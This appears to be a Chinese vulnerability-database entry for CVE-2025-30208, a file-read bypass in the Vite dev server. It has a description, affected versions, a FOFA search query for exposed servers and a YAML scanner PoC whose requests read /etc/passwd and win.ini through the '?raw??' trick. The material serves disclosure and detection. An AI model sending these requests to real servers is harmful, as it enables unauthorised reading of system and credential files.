CVE-2025-30208: Vite 任意文件读取漏洞

日期: 2025-08-01 | 影响软件: Vite | POC: 已公开

漏洞描述

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue. fofa: body="/@vite/client"

PoC代码[已公开]

id: CVE-2025-30208

info:
  name: Vite 任意文件读取漏洞
  author: 左轮改AK
  severity: high
  verified: true
  description: |-
    Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
    fofa: body="/@vite/client"
  affected: |
    6.2.0 >= Vite <=6.2.2
    6.1.0 >= Vite <=6.1.1
    6.0.0 >= Vite <=6.0.11
    5.0.0 >= Vite <=5.4.14
    Vite <=4.5.9
  references:
    - https://mp.weixin.qq.com/s/wYJOSws7rZM06mnj950zwg
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30208
  tags: cve,cve2025,vite,fileread
  created: 2025/08/11

rules:
  r0:
    request:
      method: GET
      path: /@fs/etc/passwd?raw??
    expression: response.body.bcontains(b"export default") && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /@fs/C://windows/win.ini?import&raw??
    expression: response.body.bcontains(b"export default") && response.body.bcontains(b"for 16-bit app support")
expression: r0() || r1()

相关漏洞推荐